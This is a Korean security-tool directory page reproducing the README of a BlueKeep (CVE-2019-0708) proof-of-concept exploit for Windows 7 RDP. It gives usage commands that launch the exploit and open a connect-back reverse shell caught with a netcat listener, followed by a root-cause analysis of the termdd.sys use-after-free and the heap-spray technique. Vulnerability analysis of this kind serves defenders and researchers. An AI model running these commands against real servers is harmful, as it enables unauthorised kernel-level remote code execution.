Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-0708 — Windows7에서 사전 인증 RCE를 허용하는 CVE-2019-0708 (BlueKeep) 개념 증명 | Kitploit
도구/GitHubGitHub/ricseclab/cve-2019-0708
Vulnerability AnalysisExploitationPenetration TestingRemote Access ToolPayload DevelopmentBinary Exploitation
GitHubricseclab/cve-2019-0708

CVE-2019-0708

Windows7에서 사전 인증 RCE를 허용하는 CVE-2019-0708 (BlueKeep) 개념 증명

저장소 보기
15023524년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-0708 (BlueKeep) Windows7 사전 인증 RCE POC

Ricerca Security, Inc.

이 저장소는 Windows 원격 데스크톱 서비스(RDS)의 원격 코드 실행 버그를 시연합니다.

다음은 이전에 개발한 BlueKeep 취약점에 대한 POC 코드 및 기술 보고서입니다.
참고: 우리의 목표는 분석가가 중요 취약점에 대해 더 잘 이해할 수 있도록 돕는 것입니다.

사용 방법

전제 조건

익스플로잇 코드는 Python 3로 작성되었으며 PyRDP 라이브러리에 의존합니다. PyRDP 설치 가이드를 따라 설정해 주세요.

사용법

현재 익스플로잇은 Virtual Box의 Windows 7 SP 1(6.1.7601) x64를 대상으로 테스트되었습니다.

컴퓨터의 IP 주소가 192.168.56.1이고 example.com:1234에 있는 RDP 서버를 대상으로 하는 경우 다음을 입력하십시오.

$ python exploit.py example.com -rp 1234 192.168.56.1

스크립트가 서버를 성공적으로 익스플로잇하면 connect-back 셸코드가 서버에서 192.168.56.1:4444로 TCP 연결을 시작합니다. 따라서 예를 들어 netcat으로 연결을 기다려야 합니다:

$ nc -v -l 4444

서버가 다시 연결할 포트 번호를 변경하려면 -bp 옵션을 사용하십시오:

$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567

보고서

취약점

2019년 5월, Microsoft는 원격 데스크톱 서비스(이전 터미널 서비스)에서 중요 원격 코드 실행 취약점 CVE-2019-0708을 공개했습니다. 이 취약점은 인증 전 취약점으로, 웜 가능성이 있어 광범위한 혼란을 초래할 수 있습니다. 공격자는 조작된 RDP(원격 데스크톱 프로토콜) 메시지를 대상 서버에 전송하여 관리자 권한으로 임의 코드 실행을 얻을 수 있습니다.

RDP 가상 채널

Microsoft 원격 데스크톱 서비스는 사용자에게 원격으로 대화형 Windows 세션을 제공합니다. 포트 3389/TCP를 통해 RDP(원격 데스크톱 프로토콜)를 사용하여 사용자 클라이언트와 통신함으로써 사용자의 Windows 데스크톱을 표시합니다.

RDP 프로토콜은 가상 채널이라는 소프트웨어 확장을 통해 향상될 수 있습니다. 기능 향상의 예로는 특수 하드웨어 지원, 오디오 또는 핵심 기능에 대한 기타 추가 사항 등이 있습니다.
이러한 채널에는 "rdpdr"(리디렉션), "rdpsnd"(사운드), "cliprdr"(클립보드 공유) 등과 같은 표준 Microsoft 제공 채널이 포함됩니다. 사용자는 RDP API를 사용하여 다른 채널을 지원하는 모듈을 작성할 수 있습니다. 위 채널 외에도 Microsoft는 MS_T120(RDP 자체에 사용됨) 및 CTXTW(Citrix ICA에 사용됨)의 두 채널을 기본적으로 생성합니다.

취약점은 "MCS Connect Initial 및 GCC Create" 요청을 통한 MS_T120의 가상 채널 바인딩 프로세스와 관련됩니다.
자세한 배경 정보는 ZDI에서 확인할 수 있습니다.
ZDI 기사에서 앞서 언급했듯이 클라이언트가 요청한 모든 가상 채널은 *termdd!IcaCreateChannel()*을 사용하여 생성됩니다. 그런 다음 이러한 채널 구조에 대한 포인터는 ChannelPointerTable이라는 테이블에 저장됩니다.
RDP 클라이언트와 연결이 설정되면 MS_T120을 포함한 모든 정적 가상 채널이 Windows RDP 서버에 의해 내부적으로 초기화되고 ChannelPointerTable이 가리킵니다.

MS_T120 및 CTXTW를 생성하는 쿼리는 *rdpcore!WDLIB_IcaVirtualQueryBindings()*에 의해 발행됩니다.

그림 1: MS_T120 및 CTXTW 생성을 위한 쿼리 생성

쿼리가 *termdd!IcaBindVirtualChannels()*에 전달된 후 *termdd!IcaAllocateChannel()*에서 가상 채널 구조가 생성되고 ChannelPointerTable에 등록됩니다.

그림 2: 가상 채널 구조 생성 및 등록

함수 루틴 *termdd!IcaBindChannel()*은 가상 채널 구조를 ChannelPointerTable에 등록하는 역할을 합니다. IcaBindChannel
다음은 Windows 7 x64에서 *termdd!IcaBindChannel()*이 첫 번째 인수 "MS_T120" 및 세 번째 인수 0x1f와 함께 호출될 때의 스택 추적입니다.

그림 3: MS_T1209가 초기 요청 중 슬롯 0x1f에 바인딩됨

그러면 ChannelPointerTable은 다음과 같습니다. MS_T120이 항상 슬롯 0x1F에 있음을 참고하십시오.

그림 4: 초기 요청 중 ChannelPointerTable

근본 원인 분석

Windows RDP 커널 드라이버 termdd.sys에 use-after-free 취약점이 존재합니다.
문제는 클라이언트가 "MCS Connect Initial 및 GCC Create" 중에 이름이 MS_T120\x00인 채널을 지정하면 *termdd!IcaCreateChannel()*이 *termdd!IcaFindChannelByName()*을 호출하여 슬롯 0x1F에 있는 기존 MS_T120 채널 구조를 반환한다는 것입니다. 그런 다음 이 채널 구조는 "MCS Attach User Request" 중에 새 가상 채널 항목으로 간주되어 다른 슬롯(이 예에서는 슬롯 2)에 저장됩니다.
다음은 Windows 7 x64에서 *termdd!IcaBindChannel()*이 첫 번째 인수 "MS_T120" 및 세 번째 인수 0x2와 함께 호출될 때의 스택 추적입니다.

그림 5: MS_T1209가 연결 요청 중 슬롯 0x2에도 바인딩됨

즉, MS_T120 채널 구조가 두 슬롯 0x1F와 0x2에 의해 가리켜집니다.

그림 6: 연결 요청 중 ChannelPointerTable

공격자가 MS_T120 채널에 잘못된 데이터를 보내면 termdd.sys는 termdd!IcaCloseChannel()을 사용하여 채널을 닫고 해당 슬롯의 포인터를 지웁니다(실행 예제에서는 슬롯 2). 그러나 슬롯 0x1F의 동일한 포인터는 지워지지 않습니다.
이후 연결이 종료되면 *RDPWD!HandleDisconnectProviderUlt()*가 호출되고, 이 함수는 *termdd!IcaChannelInputInternal()*을 호출하여 슬롯 0x1F의 포인터를 사용하여 해제된 MS_T1209 채널 구조를 다시 파괴하려고 시도합니다. 채널 구조 내의 vtable 포인터에 의해 파괴 프로시저가 호출됩니다. 이로 인해 use-after-free 조건이 발생합니다.

그림 7: vtable 역참조

힙 스프레이

이전 섹션에서 설명한 대로 *RDPWD!HandleDisconnectProviderUlt()*는 해제된 채널 구조 내의 vtable 포인터에서 함수를 호출하려고 시도합니다. 공격자가 채널 구조의 값을 제어할 수 있으면 vtable 포인터를 덮어쓸 수 있으며, 이는 커널 권한으로 임의 코드 실행으로 이어집니다.
그러나 이를 실현하려면 두 가지 어려움을 극복해야 합니다.

첫 번째는 해제된 채널 구조의 값을 처음에 제어하는 방법입니다. 이를 위해 공격자가 해제된 구조와 동일한 위치에 메모리를 할당하는 것이 일반적이고 안정적입니다. 대상 취약점이 use-after-free이기 때문입니다.
그러나 이 경우 공격자가 원하는 대로 대상 위치에 메모리를 할당할 수 있는 결정적인 방법은 없습니다. 커널에서는 많은 스레드가 (거의) 동시에 실행되고 메모리를 할당하기 때문입니다. 공격자의 메모리가 어디에 할당될지는 스레드가 실행되는 순서에 따라 달라집니다. 거의 모든 경우 공격자는 성공적인 할당을 했는지 확신할 수 없습니다.
HeapSizeChange
HeapSizeChange

두 번째는 vtable 및 그 안의 포인터의 주소를 설정할 위치입니다. 이전 섹션에서 보았듯이 공격자는 vtable의 주소를 설정해야 합니다. 임의 코드 실행을 얻으려면 가짜 vtable이 실행하려는 주소(예: 셸코드 또는 일부 가젯의 주소)를 포함하도록 주소를 설정해야 합니다. 그러나 커널 힙과 KASLR의 무작위성으로 인해 공격자는 그러한 적절한 주소를 거의 알 수 없습니다.

  1. 공격자는 커널 힙에 메모리를 할당하고 셸코드의 주소를 할당된 메모리 위치에 쓸 수 있습니다. 그러나 위에서 언급한 무작위성으로 인해 일반적으로 할당된 장소의 주소를 알 수 없습니다.
  2. 가능성은 낮지만 다른 옵션은 코드 섹션과 같은 정적(비힙) 메모리 위치를 사용하는 것입니다. 이 위치는 우연히 유용한 가젯의 주소를 포함할 수 있습니다. 그러나 Windows 7에는 KASLR 완화 기능이 있어 이러한 메모리 위치의 주소를 무작위화하므로 이 계획도 잘 작동하지 않습니다.

이러한 사실은 공격자가 vtable 포인터를 제어할 수 있더라도 커널에서 주소를 유출하는 다른 취약점을 활용하지 않는 한 직접적으로 임의 코드 실행을 얻을 수 없음을 의미합니다. 또한, “셸코드나 일부 가젯의 주소”는 공격자가 알 수 없는 것입니다.

익스플로잇은 단일 기술인 힙 스프레이를 사용하여 이러한 장애물을 처리합니다. 힙 스프레이는 대량의 메모리를 대량으로 할당하여 이러한 무작위성을 깨는 방법입니다.

그림 8: 스프레이 전 힙 풀 사용량

그림 9: 스프레이 후 힙 풀 사용량

조작된 할당을 여러 번 반복함으로써 공격자는 할당된 메모리 중 일부가 해제된 채널 구조의 위치에 위치할 확률을 높일 수 있습니다.

도구 다운로드